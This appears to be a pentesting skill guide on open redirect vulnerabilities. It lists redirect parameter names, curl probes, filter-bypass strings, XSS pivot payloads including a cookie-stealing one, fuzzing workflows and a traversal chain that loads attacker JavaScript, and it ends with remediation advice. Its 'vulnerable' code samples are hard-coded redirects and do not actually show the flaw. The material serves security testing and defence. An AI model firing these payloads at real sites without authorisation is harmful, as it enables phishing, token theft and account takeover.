Open Redirect Pentesting
A comprehensive skill for detecting, testing, and exploiting open redirect vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing web applications for redirect vulnerabilities
- Analyzing OAuth/OIDC flows for redirect_uri issues
- Bypassing URL validation filters
- Chaining redirects with XSS or SSRF
- Fuzzing redirect parameters at scale
- Investigating suspicious redirect behavior
Quick Start
# Single URL check
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
# Fuzz redirect parameters
cat candidates.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
Detection Workflow
Step 1: Identify Redirect Parameters
Look for these common redirect parameter names:
Query Parameters:
next,url,target,rurl,dest,destinationredir,redirect_uri,redirect_url,redirectreturn,returnTo,return_to,return_pathcontinue,go,goto,jump,jump_urlcallback_url,forward_url,forwardcheckout_url,login,logout,extclickurl,click?u,originUrl,origindesturl,page,action,action_urlservice,recurl,link,src,locationburl,request,backurl,RedirectUrl,ReturnUrlqurl,data,success,pic,sp_url
Path Patterns:
/redirect/{payload}/cgi-bin/redirect.cgi?{payload}/out/{payload}or/out?{payload}/login?to={payload}
Step 2: Test Basic Redirects
# Test with scheme-relative URL (bypasses many filters)
curl -s -I "https://target.tld/page?url=//evil.example.com" | grep -i location
# Test with javascript: scheme
curl -s -I "https://target.tld/page?url=javascript:alert(1)" | grep -i location
# Test with trusted domain in userinfo
curl -s -I "https://target.tld/page?url=https://trusted.com@evil.com/" | grep -i location
Step 3: Bypass Validation Filters
Loopback/Localhost Variants
When the app allows only internal hosts, try these loopback notations:
IPv4:
127.0.0.1,127.1,2130706433(decimal),0x7f000001(hex)017700000001(octal),127.0.0.1.(trailing dot)localhost.,LOCALHOST(casing)
IPv6:
[::1],[0:0:0:0:0:0:0:1],[::ffff:127.0.0.1]
Wildcard DNS (resolves to loopback):
lvh.me,sslip.io(e.g.,127.0.0.1.sslip.io)traefik.me,localtest.me
URL Parsing Tricks
Network-path references:
//attacker.tld # Scheme-relative, uses current scheme
Userinfo tricks:
https://trusted.tld@attacker.tld/ # Browser goes to attacker.tld
https://trusted.tld\@attacker.tld/ # Backslash confusion
Backslash confusion:
Some backends treat \ as a path character while browsers normalize to /:
https://trusted.tld\@attacker.tld
https://trusted.tld\evil.tld
XSS Pivot Payloads
javascript:alert(1)
java%0d%0ascript%0d%0a:alert(0) # CRLF bypass
javascript://sub.domain.com/%0Aalert(1) # Subdomain filter bypass
javascript://%250Aalert(1) # Double-encoded newline
javascript://%250Aalert(1)//?1 # With query parameter
%09Jav%09ascript:alert(document.domain) # Whitespace injection
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
//%5cjavascript:alert(1);
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript://https://whitelisted.com/?z=%0Aalert(1)
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Advanced Bypass Techniques
Scheme-relative:
//evil.example
Credentials trick:
https://trusted.example@evil.example/
Backslash confusion:
https://trusted.example\@evil.example/
Whitespace/control chars:
evil.example%00
%09//evil.example
Prefix/suffix matching flaws:
https://trusted.example.evil.example/
https://evil.example/trusted.example
Path-based bypasses:
/\\evil.example
/..//evil.example
Automated Testing
Using OpenRedireX
# Install
git clone https://github.com/devanshbatham/OpenRedireX
cd OpenRedireX
./setup.sh
# Fuzz candidate URLs
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
Using Oralyzer
# Install and run
git clone https://github.com/0xNanda/Oralyzer
cd Oralyzer
# Follow installation instructions
Custom Fuzzing Workflow
# 1. Gather historical URLs
cat domains.txt | gau --o urls.txt
# Alternative: waybackurls, katana, hakrawler
# 2. Extract redirect parameters
grep -iE "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt
# 3. Fuzz with payloads
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
# 4. Filter interesting results
awk '/30[1237]|Location:/I' results.txt
Client-Side Detection
Check for client-side redirect sinks in SPAs:
// Look for these patterns in JavaScript
window.location =
window.location.href =
window.location.assign(
window.location.replace(
window.location.search
window.location.hash
// Framework helpers that read query/hash
// React Router, Vue Router, Angular Router
Meta Refresh and JavaScript Redirects
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
Advanced: Fragment Smuggling + Traversal Chain
Server-Side Gap (Go url.Parse)
Validators that only inspect URL.Path and ignore URL.Fragment:
GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
Parsing sees Path=/ and Fragment=/..//\//attacker.com, so validation passes, but the response emits Location: /\//attacker.com.
Client-Side Gap (SPA Path Traversal)
SPA helpers that decode paths for validation but return original strings:
/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
The validator checks /dashboard/script/ (no ..), returns the encoded string, and the browser walks to /user/auth-tokens/rotate.
End-to-End Chain
https://<target>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
This chains path traversal with fragment-smuggled redirect to coerce the browser into fetching attacker JS.
OAuth/OIDC Risks
Open redirects in OAuth flows can lead to account takeover by leaking authorization codes/tokens. Always test:
redirect_uriparameters- OAuth callback URLs
- SSO redirect endpoints
Code Examples (Vulnerable Patterns)
.NET
response.redirect("~/mysafe-subdomain/login.aspx")
Java
response.redirect("http://mysafedomain.com");
PHP
<?php
header("Location: http://mysafedomain.com");
exit;
?>
Remediation
- Whitelist allowed redirect destinations - Maintain an explicit list of trusted URLs
- Use relative redirects - Redirect to relative paths instead of absolute URLs
- Validate URL scheme and host - Ensure scheme is http/https and host matches expected domain
- Use tokens for redirects - Generate signed tokens instead of passing URLs directly
- Encode redirect parameters - Properly encode all user input in redirect parameters